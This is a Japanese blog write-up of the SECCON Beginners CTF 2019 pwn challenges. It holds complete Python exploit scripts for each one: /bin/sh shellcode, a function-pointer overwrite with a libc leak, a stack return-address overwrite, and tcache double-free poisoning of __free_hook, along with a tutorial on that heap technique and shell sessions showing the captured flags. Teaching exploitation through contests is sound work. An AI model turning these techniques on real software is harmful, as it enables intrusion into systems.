CTFするぞ

CTF以外のことも書くよ

SECCON Beginners CTF 2019のWriteup

5月25日(土)15:00から24時間開催されたSECCON Beginners CTF 2019にzer0ptsのメンバーで参加しました。 大会の存在をすっかり忘れていたので途中から参加しましたが、担当分野は無事全部解くことができました。 初心者向けながら典型とは外れたものもあり、勉強になる問題が多いと思います。

f:id:ptr-yudai:20190526150735p:plain

解いた問題はPwnだけです。というか参加した頃には半分以上解かれていて、チームメンバーがPwnだけ残してくれてた。感謝。

f:id:ptr-yudai:20190526150838p:plain

オンラインのSECCON Beginnersに参加できるのは今回が最初で最後になりそうなので、良い成績を収められてよかったです。 説明が下手なので分からないところがあればTwitterとかで聞いてください。

Exploitコードに使っているライブラリはここからcloneできます。(Python 3用です。)

[warmup] shellcoder

IDAで開くとなんとなく"b", "i", "n", "s", "h"が含まれているかをチェックしているっぽかったので、それ以外の文字を使ったシェルコードを送れば良さそうです。 shellstormとかに上がっているシェルコードは標準でNOTを取った"/bin/sh"を持っているのでそのまま使えます。

from ptrlib import *

shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

sock = Socket("153.120.129.186", 20000)
sock.sendline(shellcode)

sock.interactive()

XORを使うのが想定解っぽいですが、色々解き方はあると思います。

$ python solve.py 
[+] Socket: Successfully connected to 153.120.129.186:20000
[ptrlib]$ Are you shellcoder?
ls
flag.txt
shellcoder
[ptrlib]$ cat flag.txt
ctf4b{Byp4ss_us!ng6_X0R_3nc0de}

OneLine

IDAで読むと、スタックオーバーフローがある上、スタック上にwriteの関数ポインタを置いています。 この関数ポインタは後で呼ばれるので、これを書き換えれば良さそうです。 このポインタは2回呼ばれ、0x28バイト出力するため、たくさん書き込まない限り1回目でwriteのポインタをリークできます。 2回目でsystem関数を呼びたいところですが、第一引数が1で"/bin/sh"を渡せないためone gadgetを使いました。

from ptrlib import *

libc = ELF("./libc-2.27.so")
elf = ELF("./oneline")
#sock = Process("./oneline")
sock = Socket("153.120.129.186", 10000)

sock.recvuntil(">> ")
sock.sendline("")
addr_write = u64(sock.recv(0x28)[-8:])
libc_base = addr_write - libc.symbol("write")
dump("libc base = " + hex(libc_base))
one_gadget = libc_base + 0x10a38c

sock.recvuntil(">> ")
payload = p64(one_gadget) * 5
sock.send(payload)

sock.interactive()
$ python solve.py 
[+] Socket: Successfully connected to 153.120.129.186:10000
[ptrlib] libc base = 0x7f3c0a14e000
[ptrlib]$ ls
flag.txt
oneline
[ptrlib]$ cat flag.txt
[ptrlib]$ ctf4b{0v3rwr!t3_Func7!on_p0int3r}

memo

IDAで解析すると、入力サイズを受け付けて、そのサイズに応じてスタックポインタをいじってそこにデータを書き込めるようです。 適当にサイズを変えていくと、負の数を入れたときにSegmentation Faultしたので、まぁそういうことでしょう。 さらに細かく調整すると、-96あたりで上手いことリターンアドレスが書き換わりました。 IDAで見るとhiddenという名前の関数があり、中でsystem("sh")を呼んでいます。 したがって、この関数に飛ばせば良いのですが、直接呼んでしまうとrbpが腐っているのでsystem関数内で落ちます。 そのため、最初のpush rbp; mov rbp, rsp;の部分をスキップして呼びましょう。

from ptrlib import *

elf = ELF("./memo")
#sock = Process("./memo")
sock = Socket("133.242.68.223", 35285)

rop_pop_rdi = 0x00400843
plt_system = 0x400590

payload = b''
payload += p64(0xffffffffffffffdd)
payload += p64(0x4007c1)

sock.sendline("-96")
sock.sendline(payload)
sock.interactive()
$ python solve.py 
[+] Socket: Successfully connected to 133.242.68.223:35285
[ptrlib]$ Input size : Input Content : Your Content : 1íIÑ^HâHäðPTIÇÀ@
ls
flag.txt
memo
[ptrlib]$ cat flag.txt
ctf4b{h4ckn3y3d_574ck_b0f}
[ptrlib]$

BabyHeap

ヒープ系問題です。 Alloc, Delete, Wipeというのが選べます。 Allocするとローカル変数ptrにmallocしたポインタを入れ、Deleteするとそれをfreeします。 AllocはptrがNULLのときのみmallocでき、WipeするとptrにNULLが代入されます。 したがって、シンプルなdouble freeがあります。 libcのバージョンは2.27なのでtcacheが有効なので、何も気にすることなく__free_hookを書き換えられます。 サイズが固定でlibcアドレスがリークできないからヒープのアドレスからリークするのかなーとか思って見てみるとShow系の機能が無かったので何かおかしいなぁ、と思ってバイナリを起動するとstdinのアドレスがプレゼントされていました。 ということで、単にtcache poisoningで__free_hookをone gadgetに変更すれば良さそうです。(RELROが有効なので。)

Beginners CTFということで読む人もヒープ初心者が多いと思うので、一応TCache Poisoningに関しては軽く解説しておきます。 libcではmallocされた小さい領域をfreeすると、そのアドレスをtcacheと呼ばれる領域に繋げます。 libc-2.26まではfastbinという領域に繋いでいたのですが、libc-2.26以降は似たようなtcacheという場所にまずは繋がるようになりました。 tcacheはfastbinと違い、スレッドごとの管理、7個までしか入らないなどの特徴があります。 そしてセキュリティ面での一番大きな違いは、fastbinと違ってdouble freeがしやすくなったという点です。 fastbinにはdouble free検知やサイズチェックが付いているのですが、libc-2.29まではtcacheにこれがありません。

さて、double freeは名前の通り2回freeするという意味ですが、どのようにして利用するのでしょうか。 今A = malloc(0x30); B = malloc(0x30);したとします。 Aを一回freeすると(サイズ0x28〜0x38用の)tcacheに次のように繋がります。

tcache --> A --> NULL

もともとtcacheは空だったので、Aの先頭8バイトにはNULLが書き込まれます。次にBをfreeすると次のようになります。

tcache --> B --> A --> NULL

tcacheにはAが繋がっていたので、Bの先頭8バイトにはAのアドレスが書き込まれます。 さらにAをfreeすると、double freeが発生して次のような状態になります。

tcache --> A --> B --> A --> B --> A --> ...

tcacheにはBが繋がっていたので、Aの先頭8バイトにはBのアドレスが書き込まれます。 一方Bの先頭にはAのアドレスが書き込まれているのでBはAに繋がっており、以降無限に続くリンクができるわけです。 さて、ここでC = malloc(0x30);すると次のようになります。

tcache --> B --> A --> B --> A --> ...
C = A

tcacheの先頭から使える領域が取り出されます。 ここでCに攻撃者がデータを書き込めるとき、例えばatoi@gotのアドレスを書き込むとtcacheは次のようになります。

tcache --> B --> A --> atoi@got --> ?

C=AなのでCの先頭にアドレスを書き込むということは、Aのリンク先を変更することと同じになります。 さらにD = malloc(0x30); E = malloc(0x30);とすると次のようになります。

tcache --> atoi@got --> ?
D = B
E = A

もう一度mallocするとGOTのアドレスが返るため、GOT overwriteできることが分かるでしょう。 あとはatoiのアドレスをsystemに書き換えて、選択画面で/bin/shと入力すればsystem("/bin/sh")が実行される、というのがよくあるパターンです。

さて、今回は使えるポインタは1つで、かつRELROが有効になっています。 前者は簡単に解決でき、先程述べたようにtcacheにはdouble freeチェックがないので同じアドレスを2回連続freeしても怒られません。(fastbinだとさっきの例のように、間に別のBを挟むことで回避できる。) ということで、次のようにすれば任意のアドレスが最後のmallocで返ってきます。

ptr = malloc(0x30);
free(ptr);
free(ptr);
ptr = malloc(0x30);
read(0, ptr, 8); // ptrチャンクの先頭に好きなアドレスを書き込む
ptr = malloc(0x30);
ptr = malloc(0x30); // 好きなアドレス

さて、2つ目の問題はRELROが有効という点です。 RELROが有効だとGOTが書き換えられないのですが、malloc/freeには__malloc_hook, __free_hookという便利な変数が存在します。 これは名前の通り、それぞれmalloc, freeするときに呼ばれるフック関数のアドレスを入れておける変数です。 したがって、この中にone gadgetのアドレスを入れておけば、例えばfreeした瞬間にシェルが取れるようになります。 ここまでの攻撃を実装しましょう。

from ptrlib import *

def alloc(data):
    sock.recvuntil("> ")
    sock.sendline("1")
    sock.recvuntil("Content: ")
    sock.sendline(data)

def delete():
    sock.recvuntil("> ")
    sock.sendline("2")

def wipe():
    sock.recvuntil("> ")
    sock.sendline("3")
    
elf = ELF("./babyheap")
libc = ELF("./libc-2.27.so")
#sock = Process("./babyheap")
sock = Socket("133.242.68.223", 58396)
one_gadget = 0x4f322

sock.recvuntil(">>>>> ")
addr_stdin = int(sock.recvuntil(" "), 16)
libc_base = addr_stdin - libc.symbol("_IO_2_1_stdin_")
dump("libc base = " + hex(libc_base))

# tcache poisoning
alloc("Hello")
delete()
delete()
wipe()
payload = p64(libc_base + libc.symbol("__free_hook"))
alloc(payload)
wipe()
alloc("Hello")
wipe()
alloc(p64(libc_base + one_gadget))

# get the shell
delete()

sock.interactive()

久しぶりに丁寧なwriteupを書いた気がする。

$ python solve.py 
[+] Socket: Successfully connected to 133.242.68.223:58396
[ptrlib] libc base = 0x7f5fc472b000
[ptrlib]$ ls
babyheap
flag.txt
[ptrlib]$ cat flag.txt
ctf4b{h07b3d_0f_51mpl3_h34p_3xpl017}
[ptrlib]$

ちゃんとbabyなheapだったので大変良い。